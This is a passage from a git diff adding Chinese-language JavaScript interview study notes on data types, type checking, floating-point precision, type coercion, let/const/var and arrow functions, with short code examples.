parent.show(),`parent`是一个`Parent`类的实例,`Child.prorotype`指向的是`Parent`类的另一个实例,两者在堆内存中互不影响,所以上述操作不影响`parent`实例,所以输出结果不变; +5. child1.show(),`child1`执行了`change()`方法后,发生了怎样的变化呢? + +- **this.b.push(this.a),\**由于this的动态指向特性,this.b会指向`Child.prototype`上的\**b**数组,this.a会指向`child1`的**a**属性,所以`Child.prototype.b`变成了**[1,2,1,11]**; +- **this.a = this.b.length,\**这条语句中`this.a`和`this.b`的指向与上一句一致,故结果为`child1.a`变为\**4**; +- **this.c.demo = this.a++,\**由于`child1`自身属性并没有\**c**这个属性,所以此处的`this.c`会指向`Child.prototype.c`,`this.a`值为**4**,为原始类型,故赋值操作时会直接赋值,`Child.prototype.c.demo`的结果为**4**,而`this.a`随后自增为**5(4 + 1 = 5)。** + +1. `child2`执行了`change()`方法, 而`child2`和`child1`均是`Child`类的实例,所以他们的原型链指向同一个原型对象`Child.prototype`,也就是同一个`parent`实例,所以`child2.change()`中所有影响到原型对象的语句都会影响`child1`的最终输出结果。 + +- **this.b.push(this.a),\**由于this的动态指向特性,this.b会指向`Child.prototype`上的\**b**数组,this.a会指向`child2`的**a**属性,所以`Child.prototype.b`变成了**[1,2,1,11,12]**; +- **this.a = this.b.length,\**这条语句中`this.a`和`this.b`的指向与上一句一致,故结果为`child2.a`变为\**5**; +- **this.c.demo = this.a++,\**由于`child2`自身属性并没有\**c**这个属性,所以此处的`this.c`会指向`Child.prototype.c`,故执行结果为`Child.prototype.c.demo`的值变为`child2.a`的值**5**,而`child2.a`最终自增为**6(5 + 1 = 6)。** + +### 9. 代码输出结果 + +```javascript +function SuperType(){ + this.property = true; +} + +SuperType.prototype.getSuperValue = function(){ + return this.property; +}; + +function SubType(){ + this.subproperty = false; +} + +SubType.prototype = new SuperType(); +SubType.prototype.getSubValue = function (){ + return this.subproperty; +}; + +var instance = new SubType(); +console.log(instance.getSuperValue()); +``` + +输出结果:true + +实际上,这段代码就是在实现原型链继承,SubType继承了SuperType,本质是重写了SubType的原型对象,代之以一个新类型的实例。SubType的原型被重写了,所以instance.constructor指向的是SuperType。具体如下: + +image.png diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\212\357\274\211.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\212\357\274\211.md" new file mode 100644 index 00000000..4c7a35ab --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\212\357\274\211.md" @@ -0,0 +1,2444 @@ +--- +date: 2022-07-01 +category: +- 前端 +- JavaScript +--- + +> [「2021」高频前端面试题汇总之JavaScript篇(上)](https://juejin.cn/post/6940945178899251230) +# JavaScript 面试题汇总(上) + +## 一、数据类型 + +### 1. JavaScript有哪些数据类型,它们的区别?:star::star: + +JavaScript共有**八种数据类型(七种原始类型和一个引用数据类型)**,分别是 Undefined、Null、Boolean、Number、String、Object、Symbol、BigInt。 + +其中 Symbol 和 BigInt 是ES6 中新增的数据类型: + +- **Symbol** 代表创建后独一无二且不可变的数据类型,它主要是为了解决可能出现的全局变量冲突的问题。 +- **BigInt** 是一种数字类型的数据,它可以表示任意精度格式的**整数**,使用 BigInt 可以安全地存储和操作大**整数**,即使这个数已经超出了 Number 能够表示的安全整数范围。 + +这些数据可以分为**原始数据类型和引用数据类型**: + +- 栈:原始数据类型(Undefined、Null、Boolean、Number、String、Symbol、BigInt) +- 堆:引用数据类型(对象、数组和函数) + +两种类型的区别在于**存储位置的不同:** + +- 原始数据类型直接存储在栈(stack)中的简单数据段,占据空间小、大小固定,属于被频繁使用数据,所以放入栈中存储; +- 引用数据类型存储在堆(heap)中的对象,占据空间大、大小不固定。如果存储在栈中,将会影响程序运行的性能;引用数据类型在栈中存储了指针,该指针指向堆中该实体的起始地址。当解释器寻找引用值时,会首先检索其在栈中的地址,取得地址后从堆中获得实体。 + +堆和栈的概念存在于数据结构和操作系统内存中: + +在**数据结构**中: + +- 在数据结构中,栈中数据的存取方式为先进后出。 +- 堆是一个优先队列,是按优先级来进行排序的,优先级可以按照大小来规定。 + +在**操作系统**中,内存被分为栈区和堆区: + +- **栈区内存**:**由编译器自动分配释放,存放函数的参数值,局部变量的值等**。其操作方式类似于数据结构中的栈。 +- **堆区内存:**一般由开发者分配释放,若开发者不释放,程序结束时可能由垃圾回收机制回收。 + +### 2. 数据类型检测的方式有哪些:star::star: + +**(1)typeof** + +```javascript +console.log(typeof 2); // number +console.log(typeof true); // boolean +console.log(typeof 'str'); // string +console.log(typeof []); // object +console.log(typeof function(){}); // function +console.log(typeof {}); // object +console.log(typeof undefined); // undefined +console.log(typeof null); // object +``` + +其中**数组、对象、null**都会被判断为object,其他判断都正确。(除null之外的基本数据) + +**(2)instanceof** + +`instanceof`可以正确判断对象的类型,**其内部运行机制是判断在其原型链中能否找到该类型的原型**。 + +```javascript +console.log(2 instanceof Number); // false +console.log(true instanceof Boolean); // false +console.log('str' instanceof String); // false + +console.log([] instanceof Array); // true +console.log(function(){} instanceof Function); // true +console.log({} instanceof Object); // true +``` + +可以看到,`instanceof`**只能正确判断引用数据类型**,而**不能判断基本数据类型**。`instanceof` 运算符可以用来测试一个对象在其原型链中是否存在一个构造函数的 `prototype` 属性。 + +**(3) constructor** + +```javascript +console.log((2).constructor === Number); // true +console.log((true).constructor === Boolean); // true +console.log(('str').constructor === String); // true +console.log(([]).constructor === Array); // true +console.log((function() {}).constructor === Function); // true +console.log(({}).constructor === Object); // true +``` + +`constructor`有两个作用,一是判断数据的类型,二是对象实例通过 `constrcutor` 对象访问它的构造函数。需要注意,如果创建一个对象来改变它的原型,`constructor`就不能用来判断数据类型了(如果其原型被新建对象改变): + +```javascript +function Fn(){}; + +Fn.prototype = new Array(); + +var f = new Fn(); + +console.log(f.constructor===Fn); // false +console.log(f.constructor===Array); // true +``` + +**(4)Object.prototype.toString.call()** + +`Object.prototype.toString.call()` 使用 Object 对象的原型方法 toString 来判断数据类型,即原型链方法: + +```javascript +var a = Object.prototype.toString; + +console.log(a.call(2)); +console.log(a.call(true)); +console.log(a.call('str')); +console.log(a.call([])); +console.log(a.call(function(){})); +console.log(a.call({})); +console.log(a.call(undefined)); +console.log(a.call(null)); +``` + +**同样是检测对象obj调用toString方法,obj.toString()的结果和Object.prototype.toString.call(obj)的结果不一样,这是为什么?** + +> 直接调用的对象toString方法已经被重写 + +这是因为toString是Object的原型方法,而Array、function等**类型作为Object的实例,都重写了toString方法**。不同的对象类型调用toString方法时,根据原型链的知识,调用的是对应的重写之后的toString方法(function类型返回内容为函数体的字符串,Array类型返回元素组成的字符串…),而不会去调用Object上原型toString方法(返回对象的具体类型),所以采用obj.toString()不能得到其对象类型,只能将obj转换为字符串类型;因此,在想要得到对象的具体类型时,应该调用Object原型上的toString方法。 + +### 3. 判断数组的方式有哪些 :star::star: + +- 通过Object.prototype.toString.call()做判断 + +> Object.prototype.toString.call(obj).slice() -> [object Array] + +```javascript +Object.prototype.toString.call(obj).slice(8,-1) === 'Array'; +``` + +- 通过原型链做判断 + +> 对象隐式原型等于数组显式原型 + +```javascript +obj.__proto__ === Array.prototype; +``` + +- 通过ES6的Array.isArray()做判断 + +```javascript +Array.isArrray(obj); +``` + +- 通过instanceof做判断 + +```javascript +obj instanceof Array +``` + +- 通过Array.prototype.isPrototypeOf + +> Array 的原型是不是当前obj的原型 + +```javascript +Array.prototype.isPrototypeOf(obj) +``` + +### 4. null和undefined区别 :star::star: + +首先 undefined 和 null 都是基本数据类型,这两个基本数据类型分别都只有一个值,就是 undefined 和 null。 + +undefined 代表的含义是**应该存在但是未定义**,null 代表的含义是**空对象**。一般变量声明了但还没有定义的时候会返回 undefined(比如function),null主要用于赋值给一些可能会返回对象的变量,作为初始化。 + +undefined 在 JavaScript 中**不是一个保留字**,这意味着可以使用 undefined 来作为一个变量名,但是这样的做法是非常危险的,它会影响对 undefined 值的判断。我们可以通过一些方法获得安全的 undefined 值,比如说 void 0。 + +> **javascript:void(0)** 中最关键的是 **void** 关键字, **void** 是 JavaScript 中非常重要的关键字,该操作符指定要计算一个表达式但是不返回值。 +> +> ```js +> console.log(void(0)) // undefined +> ``` + +当对这两种类型使用 typeof 进行判断时,Null 类型化会返回 “object”,这是一个历史遗留的问题。当使用双等号对两种类型的值进行比较时会返回 true,使用三个等号时会返回 false。 + +### 5. typeof null 的结果是什么,为什么?:star::star: + +typeof null 的结果是Object。他俩的类型标签是一样的,是历史遗留问题。 + +在 JavaScript 第一个版本中,所有值都存储在 32 位的单元中,每个单元包含一个小的 **类型标签(1-3 bits)** 以及当前要存储值的真实数据。类型标签存储在每个单元的低位中,共有五种数据类型: + +```javascript +000: object - 当前存储的数据指向一个对象。 + 1: int - 当前存储的数据是一个 31 位的有符号整数。 +010: double - 当前存储的数据指向一个双精度的浮点数。 +100: string - 当前存储的数据指向一个字符串。 +110: boolean - 当前存储的数据是布尔值。 +``` + +如果最低位是 1,则类型标签标志位的长度只有一位;如果最低位是 0,则类型标签标志位的长度占三位,为存储其他四种数据类型提供了额外两个 bit 的长度。 + +有两种特殊数据类型: + +- undefined的值是 (-2) 30 (一个超出整数范围的数字); +- null 的值是机器码 NULL 指针(null 指针的值全是 0) + +那也就是说**null的类型标签也是000,和Object的类型标签一样,所以会被判定为Object。(使用类型标签标记和判断数据)** + +### 6. intanceof 操作符的实现原理及实现 :star::star: + +instanceof 运算符用于判断构造函数的 prototype 属性是否出现在对象的原型链中的任何位置。 + +```javascript +// [] instanceof Array; +function myInstanceof(left, right) { + // 获取对象的原型,内部[[Prototype]]属性的值(__proto__) + let proto = Object.getPrototypeOf(left) + // 获取构造函数的 prototype 对象 + let prototype = right.prototype; + + // 判断构造函数的 prototype 对象是否在对象的原型链上 + while (true) { + if (!proto) return false; + if (proto === prototype) return true; + // 如果没有找到,就继续从其原型上找,Object.getPrototypeOf方法用来获取指定对象的原型 + proto = Object.getPrototypeOf(proto); + } +} +``` + +### 7. 为什么0.1+0.2 ! == 0.3,如何让其相等 :star::star: + +在开发过程中遇到类似这样的问题: + +```javascript +let n1 = 0.1, n2 = 0.2 +console.log(n1 + n2) // 0.30000000000000004 +``` + +这里得到的不是想要的结果,要想等于0.3,就要把它进行转化: + +```javascript +(n1 + n2).toFixed(2) // 注意,toFixed为四舍五入 +``` + +`toFixed(num)` 方法可把 Number 四舍五入为指定小数位数的数字。那为什么会出现这样的结果呢? + +计算机是通过二进制的方式存储数据的,所以计算机计算0.1+0.2的时候,实际上是计算的两个数的二进制的和。0.1的二进制是`0.0001100110011001100...`(1100循环),0.2的二进制是:`0.00110011001100...`(1100循环),这两个数的二进制都是无限循环的数。那JavaScript是如何处理无限循环的二进制小数呢? + +一般我们认为数字包括整数和小数,但是在 JavaScript 中只有一种数字类型:Number,它的实现遵循IEEE 754标准,使用**64**位固定长度来表示,也就是标准的**double双精度浮点数**。在二进制科学表示法中,双精度浮点数的小数部分最多只能保留52位,再加上前面的1,其实就是保留53位有效数字,剩余的需要舍去,遵从“0舍1入”的原则。 + +根据这个原则,0.1和0.2的二进制数相加,再转化为十进制数就是:`0.30000000000000004`。 + +下面看一下**双精度数是如何保存**的: + +![浮点数单精度双精度存储_向芯的博客-CSDN博客_双精度存储](https://cdn.yihuiblog.top/images/202207011427567.jpeg) + +- 第一部分(蓝色):用来存储符号位(sign),用来区分正负数,0表示正数,占用1位 +- 第二部分(绿色):用来存储指数(exponent),占用11位 +- 第三部分(红色):用来存储小数(fraction),占用52位 + +对于0.1,它的二进制为: + +```javascript +0.00011001100110011001100110011001100110011001100110011001 10011... +``` + +转为科学计数法(科学计数法的结果就是浮点数): + +```javascript +1.1001100110011001100110011001100110011001100110011001*2^-4 +``` + +可以看出0.1的符号位为0,指数位为-4,小数位为: + +```javascript +1001100110011001100110011001100110011001100110011001 +``` + +那么问题又来了,**指数位是负数,该如何保存**呢? + +IEEE标准规定了一个偏移量,对于指数部分,每次都加这个偏移量进行保存,这样即使指数是负数,那么加上这个偏移量也就是正数了。由于JavaScript的数字是双精度数,这里就以双精度数为例,它的指数部分为11位,能表示的范围就是0~2047,IEEE固定**双精度数的偏移量为1023**。 + +- 当指数位不全是0也不全是1时(规格化的数值),IEEE规定,阶码计算公式为 e-Bias。 此时e最小值是1,则1-1023= -1022,e最大值是2046,则2046-1023=1023,可以看到,这种情况下取值范围是`-1022~1013`。 +- 当指数位全部是0的时候(非规格化的数值),IEEE规定,阶码的计算公式为1-Bias,即1-1023= -1022。 +- 当指数位全部是1的时候(特殊值),IEEE规定这个浮点数可用来表示3个特殊值,分别是正无穷,负无穷,NaN。 具体的,小数位不为0的时候表示NaN;小数位为0时,当符号位s=0时表示正无穷,s=1时候表示负无穷。 + +对于上面的0.1的指数位为-4,-4+1023 = 1019 转化为二进制就是:`1111111011`. + +所以,0.1表示为: + +```javascript +0 1111111011 1001100110011001100110011001100110011001100110011001 +``` + +说了这么多,是时候该最开始的问题了,如何实现0.1+0.2=0.3呢? + +**** + +对于这个问题,一个直接的解决方法就是设置一个误差范围,通常称为“机器精度”。对JavaScript来说,这个值通常为2-52,在ES6中,提供了`Number.EPSILON`属性,而它的值就是2-52,只要判断`0.1+0.2-0.3`是否小于`Number.EPSILON`,如果小于,就可以判断为0.1+0.2 ===0.3 + +```javascript +function numberepsilon(arg1,arg2){ + return Math.abs(arg1 - arg2) < Number.EPSILON; +} + +console.log(numberepsilon(0.1 + 0.2, 0.3)); // true +``` + +### 8. 如何获取安全的 undefined 值? + +因为 undefined 是一个标识符,所以可以被当作变量来使用和赋值,但是这样会影响 undefined 的正常判断。表达式 void ___ 没有返回值,因此返回结果是 undefined。void 并不改变表达式的结果,只是让表达式不返回值。因此可以用 void 0 来获得 undefined。 + +### 9. typeof NaN 的结果是什么? + +NaN 指“不是一个数字”(not a number),NaN 是一个“警戒值”(sentinel value,有特殊用途的常规值),用于指出数字类型中的错误情况,即“执行数学运算没有成功,这是失败后返回的结果”。 + +```javascript +typeof NaN; // "number" +``` + +NaN 是一个特殊值,它和自身不相等,**是唯一一个非自反(自反,reflexive,即 x === x 不成立)的值**。而 NaN !== NaN 为 true。 + +### 10. isNaN 和 Number.isNaN 函数的区别?:star: + +- 函数 isNaN 接收参数后,会尝试将这个参数转换为数值,任何不能被转换为数值的的值都会返回 true,因此非数字值传入也会返回 true ,会影响 NaN 的判断。(会进行数值类型转换) +- 函数 Number.isNaN 会首先判断传入参数是否为数字,如果是数字再继续判断是否为 NaN ,**不会进行数据类型的转换,这种方法对于 NaN 的判断更为准确。**(不会进行数值类型转换) + +### 11. == 操作符的强制类型转换规则?:star::star: + +对于 `==` 来说,如果对比双方的类型**不一样**,就会进行**类型转换**。假如对比 `x` 和 `y` 是否相同,就会进行如下判断**流程**: + +1. 首先会判断两者类型是否**相同,**相同的话就比较两者的大小; +2. 类型不相同的话,就会进行类型转换; +3. 会先判断是否在对比 `null` 和 `undefined`,是的话就会返回 `true` +4. 判断两者类型是否为 `string` 和 `number`,是的话就会将字符串转换为 `number` + +```javascript +1 == '1' + ↓ +1 == 1 +``` + +5. 判断其中一方是否为 `boolean`,是的话就会把 `boolean` 转为 `number` 再进行判断 + +```javascript +'1' == true + ↓ +'1' == 1 + ↓ + 1 == 1 +``` + +5. 判断其中一方是否为 `object` 且另一方为 `string`、`number` 或者 `symbol`,是的话就会把 `object` 转为原始类型再进行判断 + +```javascript +'1' == { name: 'js' } +↓ +'1' == '[object Object]' +``` + +其流程图如下: ![img](https://cdn.yihuiblog.top/images/202207011428428.webp) + +转换优先级当中`number`很高(总是倾向于使用number进行比较),obeject很菜 + +### 12. 其他值到字符串的转换规则?:star: + +> 就是toString封装类的转换 + +- Null 和 Undefined 类型 ,null 转换为 "null",undefined 转换为 "undefined", +- Boolean 类型,true 转换为 "true",false 转换为 "false"。 +- Number 类型的值直接转换,不过那些极小和极大的数字会使用指数形式。 +- Symbol 类型的值直接转换,但是只允许显式强制类型转换,使用隐式强制类型转换会产生错误。 +- 对普通对象来说,除非自行定义 toString() 方法,否则会调用 toString()(Object.prototype.toString())来返回内部属性 [[Class]] 的值,如"[object Object]"。如果对象有自己的 toString() 方法,字符串化时就会调用该方法并使用其返回值。 + +### 13. 其他值到**数字**值的转换规则?:star: + +- Undefined 类型的值转换为 NaN。 +- Null 类型的值转换为 0。 +- Boolean 类型的值,true 转换为 1,false 转换为 0。 +- String 类型的值转换如同使用 Number() 函数进行转换,如果包含非数字值则转换为 NaN,空字符串为 0。 +- Symbol 类型的值不能转换为数字,会报错。 +- 对象(包括数组)会首先被转换为相应的基本类型值,如果返回的是非数字的基本类型值,则再遵循以上规则将其强制转换为数字。 + +为了将值转换为相应的基本类型值,抽象操作 ToPrimitive 会首先(通过内部操作 DefaultValue)**检查该值是否有valueOf()方法**。如果有并且返回**基本类型值**,就使用该值进行强制类型转换。如果没有就使用 **toString() 的返回值**(如果存在)来进行强制类型转换。 + +**如果 valueOf() 和 toString() 均不返回基本类型值,会产生 TypeError 错误。** + +### 14. 其他值到布尔类型的值的转换规则?:star: + +以下这些是假值: + +- undefined +- null +- false +- +0、-0 +- NaN +- "" + +假值的布尔强制类型转换结果为 false。从逻辑上说,**假值列表以外的都应该是真值。** + +### 15. || 和 && 操作符的返回值? + +|| 和 && 首先会对第一个操作数执行条件判断,如果其不是布尔值就先强制转换为布尔类型,然后再执行条件判断。 + +- 对于 || 来说,如果条件判断结果为 true 就返回第一个操作数的值,如果为 false 就返回第二个操作数的值。 +- && 则相反,如果条件判断结果为 true 就返回第二个操作数的值,如果为 false 就返回第一个操作数的值。 + +|| 和 && 返回它们其中一个操作数的值,而非条件判断的结果 + +### 16. Object.is() 与比较操作符 “===”、“==” 的区别?:star::star: + +> 基本等同,但是Object.is() 可以区分 +0-0 + +- 使用双等号(==)进行相等判断时,如果两边的类型不一致,则会进行强制类型转化后再进行比较。 +- 使用三等号(===)进行相等判断时,如果两边的类型不一致时,不会做强制类型准换,直接返回 false。 +- 使用 Object.is 来进行相等判断时,一般情况下和三等号的判断相同,它处理了一些特殊的情况,**比如 -0 和 +0 不再相等。** + +### 17. 什么是 JavaScript 中的包装类型? + +在 JavaScript 中,基本类型是没有属性和方法的,**但是为了便于操作基本类型的值**,在调用基本类型的属性或方法时 JavaScript **会在后台隐式地将基本类型的值转换为对象**,如: + +```javascript +const a = "abc"; +a.length; // 3 +a.toUpperCase(); // "ABC" +``` + +在访问`'abc'.length`时,JavaScript 将`'abc'`在后台转换成`String('abc')`,然后再访问其`length`属性。 + +JavaScript也可以使用`Object`函数显式地将基本类型转换为包装类型: + +```javascript +var a = 'abc' +Object(a) // String {"abc"} +``` + +也可以使用`valueOf`方法将包装类型倒转成基本类型: + +```javascript +var a = 'abc' +var b = Object(a) +var c = b.valueOf() // 'abc' +``` + +看看如下代码会打印出什么: + +```javascript +var a = new Boolean( false ); +if (!a) { + console.log( "Oops" ); // never runs +} +``` + +答案是什么都不会打印,因为虽然包裹的基本类型是`false`,**但是`false`被包裹成包装类型后就成了对象**,所以其非值为`false`,所以循环体中的内容不会运行。 + +### 18. JavaScript 中如何进行隐式类型转换?:star: + +**首先要介绍`ToPrimitive`方法,这是 JavaScript 中每个值隐含的自带的方法,用来将值 (无论是基本类型值还是对象)转换为基本类型值**。如果值为基本类型,则直接返回值本身;如果值为对象,其看起来大概是这样: + +```javascript +/** +* @obj 需要转换的对象 +* @type 期望的结果类型 +*/ +ToPrimitive(obj,type) +``` + +`type`的值为`number`或者`string`。 + +**(1)当**`type`**为**`number`**时规则如下:** + +- 调用`obj`的`valueOf`方法,如果为原始值,则返回,否则下一步; +- 调用`obj`的`toString`方法,后续同上; +- 抛出`TypeError` 异常。 + +**(2)当**`type`**为**`string`**时规则如下:** + +- 调用`obj`的`toString`方法,如果为原始值,则返回,否则下一步; +- 调用`obj`的`valueOf`方法,后续同上; +- 抛出`TypeError` 异常。 + +**可以看出两者的主要区别在于调用`toString`和`valueOf`的先后顺序。默认情况下:** + +- **如果对象为 Date 对象,则`type`默认为`string`;** +- **其他情况下,`type`默认为`number`。** + +总结上面的规则,**对于 Date 以外的对象,转换为基本类型的大概规则可以概括为一个函数**: + +```javascript +var objToNumber = value => Number(value.valueOf().toString()) +objToNumber([]) === 0 +objToNumber({}) === NaN +``` + +而 JavaScript 中的隐式类型转换主要发生在`+、-、*、/`以及`==、>、<`这些运算符之间。而这些运算符只能操作基本类型值,所以在进行这些运算前的第一步就是将两边的值用`ToPrimitive`转换成基本类型,再进行操作。 + +以下是基本类型的值在不同操作符的情况下隐式转换的规则 (对于对象,其会被`ToPrimitive`转换成基本类型,所以最终还是要应用基本类型转换规则): + +1. `+`**操作符** :star: + +`+`操作符的两边有至少一个`string`类型变量时,两边的变量都会被隐式转换为字符串;其他情况下两边的变量都会被转换为数字。 + +```javascript +1 + '23' // '123' + 1 + false // 1 + 1 + Symbol() // Uncaught TypeError: Cannot convert a Symbol value to a number + '1' + false // '1false' + false + true // 1 +``` + +2. `-`、`*`、`\`**操作符** :star: + +均倾向于转换为数字后进行操作 + +`NaN`也是一个数字 + +```javascript +1 * '23' // 23 + 1 * false // 0 + 1 / 'aa' // NaN +``` + +3. **对于**`==`**操作符** + +操作符两边的值都尽量转成`number`: + +```javascript +3 == true // false, 3 转为number为3,true转为number为1 +'0' == false //true, '0'转为number为0,false转为number为0 +'0' == 0 // '0'转为number为0 +``` + +1. **对于**`<`**和**`>`**比较符** + +**如果两边都是字符串,则比较字母表顺序:** + +```javascript +'ca' < 'bd' // false +'a' < 'b' // true +``` + +**其他情况下,转换为数字再比较:** + +```javascript +'12' < 13 // true +false > -1 // true +``` + +以上说的是基本类型的隐式转换,而对象会被`ToPrimitive`转换为基本类型再进行转换: + +```javascript +var a = {} +a > 2 // false +``` + +其对比过程如下: + +```javascript +a.valueOf() // {}, 上面提到过,ToPrimitive默认type为number,所以先valueOf,结果还是个对象,下一步 +a.toString() // "[object Object]",现在是一个字符串了 +Number(a.toString()) // NaN,根据上面 < 和 > 操作符的规则,要转换成数字 +NaN > 2 //false,得出比较结果 +``` + +又比如: + +```javascript +var a = {name:'Jack'} +var b = {age: 18} +a + b // "[object Object][object Object]" +``` + +运算过程如下: + +```javascript +a.valueOf() // {},上面提到过,ToPrimitive默认type为number,所以先valueOf,结果还是个对象,下一步 +a.toString() // "[object Object]" +b.valueOf() // 同理 +b.toString() // "[object Object]" +a + b // "[object Object][object Object]" +``` + +### 19. `+` 操作符什么时候用于字符串的拼接? + +根据 ES5 规范,如果某个操作数是字符串或者能够通过以下步骤转换为字符串的话,+ 将进行拼接操作。如果其中一个操作数是对象(包括数组),则首先对其调用 ToPrimitive 抽象操作,该抽象操作再调用 [[DefaultValue]],以数字作为上下文。如果不能转换为字符串,则会将其转换为数字类型来进行计算。 + +简单来说就是,如果 + 的其中一个操作数是字符串(或者通过以上步骤最终得到字符串),则执行字符串拼接,否则执行数字加法。 + +那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字。 + +### 20. 为什么会有**BigInt**的提案? + +JavaScript中Number.MAX_SAFE_INTEGER表示最⼤安全数字,计算结果是9007199254740991,即在这个数范围内不会出现精度丢失(⼩数除外)。但是⼀旦超过这个范围,js就会出现计算不准确的情况,这在⼤数计算的时候不得不依靠⼀些第三⽅库进⾏解决,因此官⽅提出了BigInt来解决此问题。 + +### 21. object.assign和扩展运算法是深拷贝还是浅拷贝,两者区别 + +扩展运算符: + +```javascript +let outObj = { + inObj: {a: 1, b: 2} +} +let newObj = {...outObj} +newObj.inObj.a = 2 +console.log(outObj) // {inObj: {a: 2, b: 2}} +``` + +Object.assign(): + +```javascript +let outObj = { + inObj: {a: 1, b: 2} +} +let newObj = Object.assign({}, outObj) +newObj.inObj.a = 2 +console.log(outObj) // {inObj: {a: 2, b: 2}} +``` + +可以看到,两者都是**浅拷贝**。 + +- Object.assign()方法接收的第一个参数作为目标对象,后面的所有参数作为源对象。然后把所有的源对象合并到目标对象中。它会修改了一个对象,因此会触发 ES6 setter。 +- 扩展操作符(…)使用它时,数组或对象中的每一个值都会被拷贝到一个新的数组或对象中。它不复制继承的属性或类的属性,但是它会复制ES6的 symbols 属性。 + +## 二、ES6 + +### 1. let、const、var的区别 :star::star: + +**(1)块级作用域:** 块作用域由 `{ }`包括,let和const具有块级作用域,var不存在块级作用域。块级作用域解决了ES5中的两个问题: + +- 内层变量可能覆盖外层变量 +- 用来计数的循环变量泄露为全局变量 + +**(2)变量提升:** var存在变量提升,let和const不存在变量提升,即在变量只能在声明之后使用,否在会报错(**暂时性死区**,原理参考浏览器原理篇)。 + +**(3)给全局添加属性:** 浏览器的**全局对象**是**window**,Node的**全局对象**是**global**。var声明的变量为全局变量,**并且会将该变量添加为全局对象的属性**,但是let和const不会。 + +**(4)重复声明:** var声明变量时,可以重复声明变量,后声明的同名变量会覆盖之前声明的遍历。const和let不允许重复声明变量。 + +**(5)暂时性死区:** 在使用let、const命令声明变量之前,该变量都是不可用的。这在语法上,称为**暂时性死区**。使用var声明的变量不存在暂时性死区。 + +**(6)初始值设置:** 在变量声明时,var 和 let 可以不用设置初始值。而const声明变量必须设置初始值(这之后也不会让你赋值呀)。 + +**(7)指针指向修改:** let和const都是ES6新增的用于创建变量的语法。 let创建的变量是可以更改指针指向(可以重新赋值)。但const声明的变量是不允许改变指针的指向。 + +| **区别** | **var** | **let** | **const** | +| ------------------ | ------- | ------- | --------- | +| 是否有块级作用域 | × | ✔️ | ✔️ | +| 是否存在变量提升 | ✔️ | × | × | +| 是否添加全局属性 | ✔️ | × | × | +| 能否重复声明变量 | ✔️ | × | × | +| 是否存在暂时性死区 | × | ✔️ | ✔️ | +| 是否必须设置初始值 | × | × | ✔️ | +| 能否改变指针指向 | ✔️ | ✔️ | × | + +### 2. const对象的属性可以修改吗:star: + +const保证的并不是变量的值不能改动,而是变量指向的那个内存地址不能改动。对于基本类型的数据(数值、字符串、布尔值),其值就保存在变量指向的那个内存地址,因此等同于常量。 + +但对于引用类型的数据(主要是对象和数组)来说,变量指向数据的内存地址,保存的只是一个指针,const只能保证这个指针是固定不变的,至于它指向的数据结构是不是可变的,就完全不能控制了。 + +### 3. 如果new一个箭头函数的会怎么样 :star: + +> 没有prototype、this和arguments参数 + +箭头函数是ES6中的提出来的,**它没有prototype**,也没有自己的**this**指向,更不可以使用**arguments**参数,**所以不能New一个箭头函数。** + +new操作符的实现步骤如下: + +1. 创建一个对象 +2. 将构造函数的作用域赋给新对象(也就是将对象的__proto__属性指向构造函数的prototype属性) +3. 指向构造函数中的代码,构造函数中的this指向该对象(也就是为这个对象添加属性和方法) +4. 返回新的对象 + +所以,**上面的第二、三步,箭头函数都是没有办法执行的。** + +### 4. 箭头函数与普通函数的区别 :star::star: + +**(1)箭头函数比普通函数更加简洁** + +- 如果没有参数,就直接写一个空括号即可 +- 如果只有一个参数,可以省去参数的括号 +- 如果有多个参数,用逗号分割 +- 如果函数体的返回值只有一句,可以省略大括号 +- 如果函数体不需要返回值,且只有一句话,可以给这个语句前面加一个void关键字。最常见的就是调用一个函数: + +```javascript +let fn = () => void doesNotReturn(); +``` + +**(2)箭头函数没有自己的this** + +箭头函数不会创建自己的this, 所以它没有自己的this,它只会在自己作用域的上一层**继承this**。所以箭头函数中this的指向在它在定义时已经确定了,之后不会改变。 + +**(3)箭头函数继承来的this指向永远不会改变** :star:(它所谓的this是捕获其所在上下⽂的 this 值,作为⾃⼰的 this 值,并且由于没有属于⾃⼰的this) + +```javascript +var id = 'GLOBAL'; +var obj = { + id: 'OBJ', + a: function(){ + console.log(this.id); + }, + b: () => { + console.log(this.id); + } +}; +obj.a(); // 'OBJ' +obj.b(); // 'GLOBAL' +new obj.a() // undefined +new obj.b() // Uncaught TypeError: obj.b is not a constructor +``` + +对象obj的方法b是使用箭头函数定义的,这个函数中的this就永远指向它定义时所处的全局执行环境中的this,即便这个函数是作为对象obj的方法调用,this依旧指向Window对象。需要注意,定义对象的大括号`{}`是无法形成一个单独的执行环境的,它依旧是处于全局执行环境中。 + +**(4)call()、apply()、bind()等方法不能改变箭头函数中this的指向** + +```javascript +var id = 'Global'; +let fun1 = () => { + console.log(this.id) +}; +fun1(); // 'Global' +fun1.call({id: 'Obj'}); // 'Global' +fun1.apply({id: 'Obj'}); // 'Global' +fun1.bind({id: 'Obj'})(); // 'Global' +``` + +**(5)箭头函数不能作为构造函数使用** + +构造函数在new的步骤在上面已经说过了,实际上第二步就是将函数中的this指向该对象。 但是由于箭头函数时没有自己的this的,且this指向外层的执行环境,且不能改变指向,所以不能当做构造函数使用。 + +**(6)箭头函数没有自己的arguments** + +箭头函数没有自己的arguments对象。在箭头函数中访问arguments实际上获得的是它外层函数的arguments值。 + +**(7)箭头函数没有prototype** + +**(8)箭头函数不能用作Generator函数,不能使用yeild关键字**(生成器也用不了) + +### 5. 箭头函数的**this**指向哪⾥?:star: + +箭头函数不同于传统JavaScript中的函数,箭头函数并没有属于⾃⼰的this,它所谓的this是**捕获其所在上下⽂的 this 值,作为⾃⼰的 this 值,并且由于没有属于⾃⼰的this,所以是不会被new调⽤的,这个所谓的this也不会被改变。(new 会改变this指向并调用构造函数)** + +可以⽤Babel理解⼀下箭头函数: + +```javascript +// ES6 +const obj = { + getArrow() { + return () => { + console.log(this === obj); + }; + } +} +``` + +转化后: + +```javascript +// ES5,由 Babel 转译 +var obj = { + getArrow: function getArrow() { + var _this = this; + return function () { + console.log(_this === obj); + }; + } +}; +``` + +### 6. 扩展运算符的作用及使用场景 